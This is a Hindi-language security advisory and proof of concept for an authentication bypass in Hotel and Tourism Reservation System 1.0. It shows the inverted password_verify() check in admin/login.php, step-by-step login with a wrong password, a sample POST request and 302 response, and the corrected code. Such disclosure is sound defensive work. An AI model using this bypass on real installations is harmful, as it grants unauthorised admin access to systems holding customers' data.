
होटल और पर्यटन आरक्षण प्रणाली 1.0 में एक महत्वपूर्ण प्रमाणीकरण बाईपास भेद्यता (CVE-2026-10288) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो उल्टे password_verify() तर्क के माध्यम से अप्रमाणित दूरस्थ व्यवस्थापक पहुंच की अनुमति देता है।
| क्षेत्र | विवरण |
|---|---|
| शीर्षक | होटल और पर्यटन आरक्षण प्रणाली - प्रमाणीकरण बाईपास |
| विक्रेता | code-projects.org |
| उत्पाद | होटल और पर्यटन आरक्षण प्रणाली |
| संस्करण | 1.0 |
| भेद्यता प्रकार | अनुचित प्रमाणीकरण |
| CWE | CWE-287 |
| CVSS स्कोर | 9.0 (गंभीर) |
| CVSS वेक्टर | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| प्रभावित फ़ाइल | /admin/login.php |
| प्रमाणीकरण आवश्यक | नहीं |
| दूरस्थ शोषण योग्य | हाँ |
होटल और पर्यटन आरक्षण प्रणाली 1.0 के एडमिन लॉगिन कार्यक्षमता में एक गंभीर प्रमाणीकरण बाईपास भेद्यता मौजूद है। यह भेद्यता password_verify() के रिटर्न वैल्यू पर एक उल्टे सशर्त जांच के कारण होती है, जो एप्लिकेशन को गलत पासवर्ड प्रदान करने पर पहुंच प्रदान करती है और सही पासवर्ड प्रदान करने पर पहुंच से इनकार करती है। एक अप्रमाणित दूरस्थ हमलावर एक वैध ईमेल पता और कोई भी मनमाना गलत पासवर्ड प्रदान करके पूर्ण प्रशासनिक पहुंच प्राप्त कर सकता है।
फ़ाइल: admin/login.php — पंक्तियाँ 39–46
if(password_verify($password, $user['password'])){
// BUG: password_verify() returns TRUE when password is CORRECT
// but the error message is placed here instead of login logic
echo '<div class="w3-text-red text-center">The password you entered was incorrect, please try again.</div>';
} else {
// BUG: this block executes when password is WRONG
// but login is granted here instead of showing an error
$userID = $user['id'];
login($userID);
}
password_verify() उस समय true लौटाती है जब प्रदान किया गया पासवर्ड हैश से मेल खाता है। डेवलपर ने सफलता तर्क को else शाखा (जो फ़ंक्शन के false लौटाने पर निष्पादित होती है) में रखा, जिसका अर्थ है कि किसी भी गलत पासवर्ड पर प्रमाणीकरण प्रदान किया जाता है।
एक दूरस्थ अप्रमाणित हमलावर यह कर सकता है:
सेटअप: XAMPP पर होटल और पर्यटन आरक्षण प्रणाली 1.0 स्थापित करें। ऐप को http://localhost/ht/ पर एक्सेस करें।
चरण 1: एडमिन लॉगिन पेज पर जाएँ।
http:///ht/admin/login.php
चरण 2: किसी भी गलत पासवर्ड के साथ एक वैध एडमिन ईमेल दर्ज करें।
Email: [email protected] Password: wrongpassword
चरण 3: लॉगिन पर क्लिक करें।
परिणाम: एप्लिकेशन प्रमाणीकरण को बायपास करता है और एडमिन डैशबोर्ड (index.php) पर रीडायरेक्ट करता है — गलत पासवर्ड के साथ पूर्ण एडमिन पहुंच प्रदान की जाती है।
अनुरोध:
POST /ht/admin/login.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
email=admin%40admin.com&password=test1234&login=Login
प्रतिक्रिया:
HTTP/1.1 302 Found
Location: index.php
एक 302 रीडायरेक्ट index.php पर गलत पासवर्ड के साथ सफल प्रमाणीकरण की पुष्टि करता है।
सशर्त शाखाओं को बदलें ताकि लॉगिन तब प्रदान किया जाए जब password_verify() true लौटाती है:
// FIXED
if(password_verify($password, $user['password'])){
$userID = $user['id'];
login($userID);
} else {
echo '<div class="w3-text-red text-center">The password you entered was incorrect, please try again.</div>';
}
इमाद अल्वी — स्वतंत्र सुरक्षा शोधकर्ता